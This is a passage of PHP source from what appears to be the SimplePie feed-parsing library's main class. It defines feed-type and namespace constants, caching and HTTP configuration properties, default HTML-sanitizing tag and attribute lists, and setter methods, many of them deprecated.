     * RSS 2.0
     */
    public const TYPE_RSS_20 = 128;

    /**
     * RDF-based RSS
     */
    public const TYPE_RSS_RDF = 65;

    /**
     * Non-RDF-based RSS (truly intended as syndication format)
     */
    public const TYPE_RSS_SYNDICATION = 190;

    /**
     * All RSS
     */
    public const TYPE_RSS_ALL = 255;

    /**
     * Atom 0.3
     */
    public const TYPE_ATOM_03 = 256;

    /**
     * Atom 1.0
     */
    public const TYPE_ATOM_10 = 512;

    /**
     * All Atom
     */
    public const TYPE_ATOM_ALL = 768;

    /**
     * All feed types
     */
    public const TYPE_ALL = 1023;

    /**
     * No construct
     */
    public const CONSTRUCT_NONE = 0;

    /**
     * Text construct
     */
    public const CONSTRUCT_TEXT = 1;

    /**
     * HTML construct
     */
    public const CONSTRUCT_HTML = 2;

    /**
     * XHTML construct
     */
    public const CONSTRUCT_XHTML = 4;

    /**
     * base64-encoded construct
     */
    public const CONSTRUCT_BASE64 = 8;

    /**
     * IRI construct
     */
    public const CONSTRUCT_IRI = 16;

    /**
     * A construct that might be HTML
     */
    public const CONSTRUCT_MAYBE_HTML = 32;

    /**
     * All constructs
     */
    public const CONSTRUCT_ALL = 63;

    /**
     * Don't change case
     */
    public const SAME_CASE = 1;

    /**
     * Change to lowercase
     */
    public const LOWERCASE = 2;

    /**
     * Change to uppercase
     */
    public const UPPERCASE = 4;

    /**
     * PCRE for HTML attributes
     */
    public const PCRE_HTML_ATTRIBUTE = '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*';

    /**
     * PCRE for XML attributes
     */
    public const PCRE_XML_ATTRIBUTE = '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*';

    /**
     * XML Namespace
     */
    public const NAMESPACE_XML = 'http://www.w3.org/XML/1998/namespace';

    /**
     * Atom 1.0 Namespace
     */
    public const NAMESPACE_ATOM_10 = 'http://www.w3.org/2005/Atom';

    /**
     * Atom 0.3 Namespace
     */
    public const NAMESPACE_ATOM_03 = 'http://purl.org/atom/ns#';

    /**
     * RDF Namespace
     */
    public const NAMESPACE_RDF = 'http://www.w3.org/1999/02/22-rdf-syntax-ns#';

    /**
     * RSS 0.90 Namespace
     */
    public const NAMESPACE_RSS_090 = 'http://my.netscape.com/rdf/simple/0.9/';

    /**
     * RSS 1.0 Namespace
     */
    public const NAMESPACE_RSS_10 = 'http://purl.org/rss/1.0/';

    /**
     * RSS 1.0 Content Module Namespace
     */
    public const NAMESPACE_RSS_10_MODULES_CONTENT = 'http://purl.org/rss/1.0/modules/content/';

    /**
     * RSS 2.0 Namespace
     * (Stupid, I know, but I'm certain it will confuse people less with support.)
     */
    public const NAMESPACE_RSS_20 = '';

    /**
     * DC 1.0 Namespace
     */
    public const NAMESPACE_DC_10 = 'http://purl.org/dc/elements/1.0/';

    /**
     * DC 1.1 Namespace
     */
    public const NAMESPACE_DC_11 = 'http://purl.org/dc/elements/1.1/';

    /**
     * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
     */
    public const NAMESPACE_W3C_BASIC_GEO = 'http://www.w3.org/2003/01/geo/wgs84_pos#';

    /**
     * GeoRSS Namespace
     */
    public const NAMESPACE_GEORSS = 'http://www.georss.org/georss';

    /**
     * Media RSS Namespace
     */
    public const NAMESPACE_MEDIARSS = 'http://search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
     */
    public const NAMESPACE_MEDIARSS_WRONG = 'http://search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
     */
    public const NAMESPACE_MEDIARSS_WRONG2 = 'http://video.search.yahoo.com/mrss';

    /**
     * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG3 = 'http://video.search.yahoo.com/mrss/';

    /**
     * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
     */
    public const NAMESPACE_MEDIARSS_WRONG4 = 'http://www.rssboard.org/media-rss';

    /**
     * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
     */
    public const NAMESPACE_MEDIARSS_WRONG5 = 'http://www.rssboard.org/media-rss/';

    /**
     * iTunes RSS Namespace
     */
    public const NAMESPACE_ITUNES = 'http://www.itunes.com/dtds/podcast-1.0.dtd';

    /**
     * XHTML Namespace
     */
    public const NAMESPACE_XHTML = 'http://www.w3.org/1999/xhtml';

    /**
     * IANA Link Relations Registry
     */
    public const IANA_LINK_RELATIONS_REGISTRY = 'http://www.iana.org/assignments/relation/';

    /**
     * No file source
     */
    public const FILE_SOURCE_NONE = 0;

    /**
     * Remote file source
     */
    public const FILE_SOURCE_REMOTE = 1;

    /**
     * Local file source
     */
    public const FILE_SOURCE_LOCAL = 2;

    /**
     * fsockopen() file source
     */
    public const FILE_SOURCE_FSOCKOPEN = 4;

    /**
     * cURL file source
     */
    public const FILE_SOURCE_CURL = 8;

    /**
     * file_get_contents() file source
     */
    public const FILE_SOURCE_FILE_GET_CONTENTS = 16;

    /**
     * @internal Default value of the HTTP Accept header when fetching/locating feeds
     */
    public const DEFAULT_HTTP_ACCEPT_HEADER = 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1';

    /**
     * @var array<string, mixed> Raw data
     * @access private
     */
    public $data = [];

    /**
     * @var string|string[]|null Error string (or array when multiple feeds are initialized)
     * @access private
     */
    public $error = null;

    /**
     * @var int HTTP status code
     * @see SimplePie::status_code()
     * @access private
     */
    public $status_code = 0;

    /**
     * @var Sanitize instance of Sanitize class
     * @see SimplePie::set_sanitize_class()
     * @access private
     */
    public $sanitize;

    /**
     * @var string SimplePie Useragent
     * @see SimplePie::set_useragent()
     * @access private
     */
    public $useragent = '';

    /**
     * @var string Feed URL
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $feed_url;

    /**
     * @var ?string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently
     * @see SimplePie::subscribe_url()
     * @access private
     */
    public $permanent_url = null;

    /**
     * @var File Instance of File class to use as a feed
     * @see SimplePie::set_file()
     */
    private $file;

    /**
     * @var string|false Raw feed data
     * @see SimplePie::set_raw_data()
     * @access private
     */
    public $raw_data;

    /**
     * @var int Timeout for fetching remote files
     * @see SimplePie::set_timeout()
     * @access private
     */
    public $timeout = 10;

    /**
     * @var array<int, mixed> Custom curl options
     * @see SimplePie::set_curl_options()
     * @access private
     */
    public $curl_options = [];

    /**
     * @var bool Forces fsockopen() to be used for remote files instead
     * of cURL, even if a new enough version is installed
     * @see SimplePie::force_fsockopen()
     * @access private
     */
    public $force_fsockopen = false;

    /**
     * @var bool Force the given data/URL to be treated as a feed no matter what
     * it appears like
     * @see SimplePie::force_feed()
     * @access private
     */
    public $force_feed = false;

    /**
     * @var bool Enable/Disable Caching
     * @see SimplePie::enable_cache()
     * @access private
     */
    private $enable_cache = true;

    /**
     * @var DataCache|null
     * @see SimplePie::set_cache()
     */
    private $cache = null;

    /**
     * @var NameFilter
     * @see SimplePie::set_cache_namefilter()
     */
    private $cache_namefilter;

    /**
     * @var bool Force SimplePie to fallback to expired cache, if enabled,
     * when feed is unavailable.
     * @see SimplePie::force_cache_fallback()
     * @access private
     */
    public $force_cache_fallback = false;

    /**
     * @var int Cache duration (in seconds)
     * @see SimplePie::set_cache_duration()
     * @access private
     */
    public $cache_duration = 3600;

    /**
     * @var int Auto-discovery cache duration (in seconds)
     * @see SimplePie::set_autodiscovery_cache_duration()
     * @access private
     */
    public $autodiscovery_cache_duration = 604800; // 7 Days.

    /**
     * @var string Cache location (relative to executing script)
     * @see SimplePie::set_cache_location()
     * @access private
     */
    public $cache_location = './cache';

    /**
     * @var string&(callable(string): string) Function that creates the cache filename
     * @see SimplePie::set_cache_name_function()
     * @access private
     */
    public $cache_name_function = 'md5';

    /**
     * @var bool Reorder feed by date descending
     * @see SimplePie::enable_order_by_date()
     * @access private
     */
    public $order_by_date = true;

    /**
     * @var mixed Force input encoding to be set to the follow value
     * (false, or anything type-cast to false, disables this feature)
     * @see SimplePie::set_input_encoding()
     * @access private
     */
    public $input_encoding = false;

    /**
     * @var self::LOCATOR_* Feed Autodiscovery Level
     * @see SimplePie::set_autodiscovery_level()
     * @access private
     */
    public $autodiscovery = self::LOCATOR_ALL;

    /**
     * Class registry object
     *
     * @var Registry
     */
    public $registry;

    /**
     * @var int Maximum number of feeds to check with autodiscovery
     * @see SimplePie::set_max_checked_feeds()
     * @access private
     */
    public $max_checked_feeds = 10;

    /**
     * @var array<Response>|null All the feeds found during the autodiscovery process
     * @see SimplePie::get_all_discovered_feeds()
     * @access private
     */
    public $all_discovered_feeds = [];

    /**
     * @var string Web-accessible path to the handler_image.php file.
     * @see SimplePie::set_image_handler()
     * @access private
     */
    public $image_handler = '';

    /**
     * @var array<string> Stores the URLs when multiple feeds are being initialized.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $multifeed_url = [];

    /**
     * @var array<int, static> Stores SimplePie objects when multiple feeds initialized.
     * @access private
     */
    public $multifeed_objects = [];

    /**
     * @var array<mixed> Stores the get_object_vars() array for use with multifeeds.
     * @see SimplePie::set_feed_url()
     * @access private
     */
    public $config_settings = null;

    /**
     * @var int Stores the number of items to return per-feed with multifeeds.
     * @see SimplePie::set_item_limit()
     * @access private
     */
    public $item_limit = 0;

    /**
     * @var bool Stores if last-modified and/or etag headers were sent with the
     * request when checking a feed.
     */
    public $check_modified = false;

    /**
     * @var array<string> Stores the default attributes to be stripped by strip_attributes().
     * @see SimplePie::strip_attributes()
     * @access private
     */
    public $strip_attributes = ['bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];

    /**
     * @var array<string, array<string, string>> Stores the default attributes to add to different tags by add_attributes().
     * @see SimplePie::add_attributes()
     * @access private
     */
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];

    /**
     * @var array<string> Stores the default tags to be stripped by strip_htmltags().
     * @see SimplePie::strip_htmltags()
     * @access private
     */
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];

    /**
     * @var string[]|string Stores the default attributes to be renamed by rename_attributes().
     * @see SimplePie::rename_attributes()
     * @access private
     */
    public $rename_attributes = [];

    /**
     * @var bool Should we throw exceptions, or use the old-style error property?
     * @access private
     */
    public $enable_exceptions = false;

    /**
     * @var Client|null
     */
    private $http_client = null;

    /** @var bool Whether HTTP client has been injected */
    private $http_client_injected = false;

    /**
     * The SimplePie class contains feed level data and options
     *
     * To use SimplePie, create the SimplePie object with no parameters. You can
     * then set configuration options using the provided methods. After setting
     * them, you must initialise the feed using $feed->init(). At that point the
     * object's methods and properties will be available to you.
     *
     * Previously, it was possible to pass in the feed URL along with cache
     * options directly into the constructor. This has been removed as of 1.3 as
     * it caused a lot of confusion.
     *
     * @since 1.0 Preview Release
     */
    public function __construct()
    {
        if (version_compare(PHP_VERSION, '7.2', '<')) {
            exit('Please upgrade to PHP 7.2 or newer.');
        }

        $this->set_useragent();

        $this->set_cache_namefilter(new CallableNameFilter($this->cache_name_function));

        // Other objects, instances created here so we can set options on them
        $this->sanitize = new Sanitize();
        $this->registry = new Registry();

        if (func_num_args() > 0) {
            trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', \E_USER_DEPRECATED);

            $args = func_get_args();
            switch (count($args)) {
                case 3:
                    $this->set_cache_duration($args[2]);
                    // no break
                case 2:
                    $this->set_cache_location($args[1]);
                    // no break
                case 1:
                    $this->set_feed_url($args[0]);
                    $this->init();
            }
        }
    }

    /**
     * Used for converting object to a string
     * @return string
     */
    public function __toString()
    {
        return md5(serialize($this->data));
    }

    /**
     * Remove items that link back to this before destroying this object
     * @return void
     */
    public function __destruct()
    {
        if (!gc_enabled()) {
            if (!empty($this->data['items'])) {
                foreach ($this->data['items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['items']);
            }
            if (!empty($this->data['ordered_items'])) {
                foreach ($this->data['ordered_items'] as $item) {
                    $item->__destruct();
                }
                unset($item, $this->data['ordered_items']);
            }
        }
    }

    /**
     * Force the given data/URL to be treated as a feed
     *
     * This tells SimplePie to ignore the content-type provided by the server.
     * Be careful when using this option, as it will also disable autodiscovery.
     *
     * @since 1.1
     * @param bool $enable Force the given data/URL to be treated as a feed
     * @return void
     */
    public function force_feed(bool $enable = false)
    {
        $this->force_feed = $enable;
    }

    /**
     * Set the URL of the feed you want to parse
     *
     * This allows you to enter the URL of the feed you want to parse, or the
     * website you want to try to use auto-discovery on. This takes priority
     * over any set raw data.
     *
     * Deprecated since 1.9.0: You can set multiple feeds to mash together by passing an array instead
     * of a string for the $url. Remember that with each additional feed comes
     * additional processing and resources.
     *
     * @since 1.0 Preview Release
     * @see set_raw_data()
     * @param string|string[] $url This is the URL (or (deprecated) array of URLs) that you want to parse.
     * @return void
     */
    public function set_feed_url($url)
    {
        $this->multifeed_url = [];
        if (is_array($url)) {
            trigger_error('Fetching multiple feeds with single SimplePie instance is deprecated since SimplePie 1.9.0, create one SimplePie instance per feed and use SimplePie::merge_items to get a single list of items.', \E_USER_DEPRECATED);
            foreach ($url as $value) {
                $this->multifeed_url[] = $this->registry->call(Misc::class, 'fix_protocol', [$value, 1]);
            }
        } else {
            $this->feed_url = $this->registry->call(Misc::class, 'fix_protocol', [$url, 1]);
            $this->permanent_url = $this->feed_url;
        }
    }

    /**
     * Set an instance of {@see File} to use as a feed
     *
     * @deprecated since SimplePie 1.9.0, use \SimplePie\SimplePie::set_http_client() or \SimplePie\SimplePie::set_raw_data() instead.
     *
     * @param File &$file
     * @return bool True on success, false on failure
     */
    public function set_file(File &$file)
    {
        // trigger_error(sprintf('SimplePie\SimplePie::set_file() is deprecated since SimplePie 1.9.0, please use "SimplePie\SimplePie::set_http_client()" or "SimplePie\SimplePie::set_raw_data()" instead.'), \E_USER_DEPRECATED);

        $this->feed_url = $file->get_final_requested_uri();
        $this->permanent_url = $this->feed_url;
        $this->file = &$file;

        return true;
    }

    /**
     * Set the raw XML data to parse
     *
     * Allows you to use a string of RSS/Atom data instead of a remote feed.
     *
     * If you have a feed available as a string in PHP, you can tell SimplePie
     * to parse that data string instead of a remote feed. Any set feed URL
     * takes precedence.
     *
     * @since 1.0 Beta 3
     * @param string $data RSS or Atom data as a string.
     * @see set_feed_url()
     * @return void
     */
    public function set_raw_data(string $data)
    {
        $this->raw_data = $data;
    }

    /**
     * Set a PSR-18 client and PSR-17 factories
     *
     * Allows you to use your own HTTP client implementations.
     * This will become required with SimplePie 2.0.0.
     */
    final public function set_http_client(
        ClientInterface $http_client,
        RequestFactoryInterface $request_factory,
        UriFactoryInterface $uri_factory
    ): void {
        $this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
    }

    /**
     * Set the default timeout for fetching remote feeds
     *
     * This allows you to change the maximum time the feed's server to respond
     * and send the feed back.
     *
     * @since 1.0 Beta 3
     * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
     * @return void
     */
    public function set_timeout(int $timeout = 10)
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure timeout in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        $this->timeout = (int) $timeout;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the timeout in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Set custom curl options
     *
     * This allows you to change default curl options
     *
     * @since 1.0 Beta 3
     * @param array<int, mixed> $curl_options Curl options to add to default settings
     * @return void
     */
    public function set_curl_options(array $curl_options = [])
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure custom curl options in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        $this->curl_options = $curl_options;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure the curl options in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Force SimplePie to use fsockopen() instead of cURL
     *
     * @since 1.0 Beta 3
     * @param bool $enable Force fsockopen() to be used
     * @return void
     */
    public function force_fsockopen(bool $enable = false)
    {
        if ($this->http_client_injected) {
            throw new SimplePieException(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure fsockopen in your HTTP client instead.',
                __METHOD__,
                self::class
            ));
        }

        $this->force_fsockopen = $enable;

        // Reset a possible existing FileClient,
        // so a new client with the changed value will be created
        if (is_object($this->http_client) && $this->http_client instanceof FileClient) {
            $this->http_client = null;
        } elseif (is_object($this->http_client)) {
            // Trigger notice if a PSR-18 client was set
            trigger_error(sprintf(
                'Using "%s()" has no effect, because you already provided a HTTP client with "%s::set_http_client()". Configure fsockopen in your HTTP client instead.',
                __METHOD__,
                get_class($this)
            ), \E_USER_NOTICE);
        }
    }

    /**
     * Enable/disable caching in SimplePie.
     *
     * This option allows you to disable caching all-together in SimplePie.
     * However, disabling the cache can lead to longer load times.
     *
     * @since 1.0 Preview Release
     * @param bool $enable Enable caching
     * @return void
     */
    public function enable_cache(bool $enable = true)
    {
        $this->enable_cache = $enable;
    }

    /**
     * Set a PSR-16 implementation as cache
     *
     * @param CacheInterface $cache The PSR-16 cache implementation
     *
     * @return void
     */
    public function set_cache(CacheInterface $cache)
    {
        $this->cache = new Psr16($cache);
    }

    /**
     * SimplePie to continue to fall back to expired cache, if enabled, when
     * feed is unavailable.
     *
     * This tells SimplePie to ignore any file errors and fall back to cache
     * instead. This only works if caching is enabled and cached content
     * still exists.
     *
     * @deprecated since SimplePie 1.8.0, expired cache will not be used anymore.
     *
     * @param bool $enable Force use of cache on fail.
     * @return void
     */
    public function force_cache_fallback(bool $enable = false)
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::force_cache_fallback() is deprecated since SimplePie 1.8.0, expired cache will not be used anymore.'), \E_USER_DEPRECATED);
        $this->force_cache_fallback = $enable;
    }

    /**
     * Set the length of time (in seconds) that the contents of a feed will be
     * cached
     *
     * @param int $seconds The feed content cache duration
     * @return void
     */
    public function set_cache_duration(int $seconds = 3600)
    {
        $this->cache_duration = $seconds;
    }

    /**
     * Set the length of time (in seconds) that the autodiscovered feed URL will
     * be cached
     *
     * @param int $seconds The autodiscovered feed URL cache duration.
     * @return void
     */
    public function set_autodiscovery_cache_duration(int $seconds = 604800)
    {
        $this->autodiscovery_cache_duration = $seconds;
    }

    /**
     * Set the file system location where the cached files should be stored
     *
     * @deprecated since SimplePie 1.8.0, use SimplePie::set_cache() instead.
     *
     * @param string $location The file system location.
     * @return void
     */
    public function set_cache_location(string $location = './cache')
    {
        // @trigger_error(sprintf('SimplePie\SimplePie::set_cache_location() is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()" instead.'), \E_USER_DEPRECATED);
        $this->cache_location = $location;
    }

    /**
     * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
     *
     * @param string $url The URL of the feed to be cached.
     * @return string A filename (i.e. hash, without path and without extension).
     */
    public function get_cache_filename(string $url)
    {
        // Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
        $url .= $this->force_feed ? '#force_feed' : '';
        $options = [];
        if ($this->timeout != 10) {
            $options[CURLOPT_TIMEOUT] = $this->timeout;
        }
        if ($this->useragent !== Misc::get_default_useragent()) {
            $options[CURLOPT_USERAGENT] = $this->useragent;
        }
        if (!empty($this->curl_options)) {
            foreach ($this->curl_options as $k => $v) {
                $options[$k] = $v;
            }
        }
        if (!empty($options)) {
            ksort($options);
            $url .= '#' . urlencode(var_export($options, true));
        }

        return $this->cache_namefilter->filter($url);
    }

    /**
     * Set whether feed items should be sorted into reverse chronological order
     *
     * @param bool $enable Sort as reverse chronological order.
     * @return void
     */
    public function enable_order_by_date(bool $enable = true)
    {
        $this->order_by_date = $enable;
    }

    /**
     * Set the character encoding used to parse the feed
     *
     * This overrides the encoding reported by the feed, however it will fall
     * back to the normal encoding detection if the override fails
     *
     * @param string|false $encoding Character encoding
     * @return void
     */
    public function set_input_encoding($encoding = false)
    {
        if ($encoding) {
            $this->input_encoding = (string) $encoding;
        } else {
            $this->input_encoding = false;
        }
    }

    /**
     * Set how much feed autodiscovery to do
     *
     * @see self::LOCATOR_NONE
     * @see self::LOCATOR_AUTODISCOVERY
     * @see self::LOCATOR_LOCAL_EXTENSION
     * @see self::LOCATOR_LOCAL_BODY
     * @see self::LOCATOR_REMOTE_EXTENSION
     * @see self::LOCATOR_REMOTE_BODY
     * @see self::LOCATOR_ALL
     * @param self::LOCATOR_* $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
     * @return void
     */
    public function set_autodiscovery_level(int $level = self::LOCATOR_ALL)
    {
        $this->autodiscovery = $level;
    }

    /**
     * Get the class registry
     *
     * Use this to override SimplePie's default classes
     *
     * @return Registry
     */
    public function &get_registry()
    {
        return $this->registry;
    }

    /**
     * Set which class SimplePie uses for caching
     *
     * @deprecated since SimplePie 1.3, use {@see set_cache()} instead
     *
     * @param class-string<Cache> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_cache_class(string $class = Cache::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::set_cache()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Cache::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for auto-discovery
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Locator> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_locator_class(string $class = Locator::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Locator::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for XML parsing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Parser> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_parser_class(string $class = Parser::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Parser::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for remote file fetching
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<File> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_file_class(string $class = File::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(File::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for data sanitization
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Sanitize> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_sanitize_class(string $class = Sanitize::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sanitize::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling feed items
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Item> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_item_class(string $class = Item::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Item::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling author data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Author> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_author_class(string $class = Author::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Author::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for handling category data
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Category> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_category_class(string $class = Category::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Category::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for feed enclosures
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Enclosure> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_enclosure_class(string $class = Enclosure::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Enclosure::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:text>` captions
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Caption> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_caption_class(string $class = Caption::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Caption::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:copyright>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Copyright> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_copyright_class(string $class = Copyright::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Copyright::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:credit>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Credit> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_credit_class(string $class = Credit::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Credit::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:rating>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Rating> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_rating_class(string $class = Rating::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Rating::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for `<media:restriction>`
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Restriction> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_restriction_class(string $class = Restriction::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Restriction::class, $class, true);
    }

    /**
     * Set which class SimplePie uses for content-type sniffing
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Sniffer> $class Name of custom class
     *
     * @return bool True on success, false otherwise
     */
    public function set_content_type_sniffer_class(string $class = Sniffer::class)
    {
        trigger_error(sprintf('"%s()" is deprecated since SimplePie 1.3, please use "SimplePie\SimplePie::get_registry()" instead.', __METHOD__), \E_USER_DEPRECATED);

        return $this->registry->register(Sniffer::class, $class, true);
    }

    /**
     * Set which class SimplePie uses item sources
     *
     * @deprecated since SimplePie 1.3, use {@see get_registry()} instead
     *
     * @param class-string<Source> $class Name of custom class
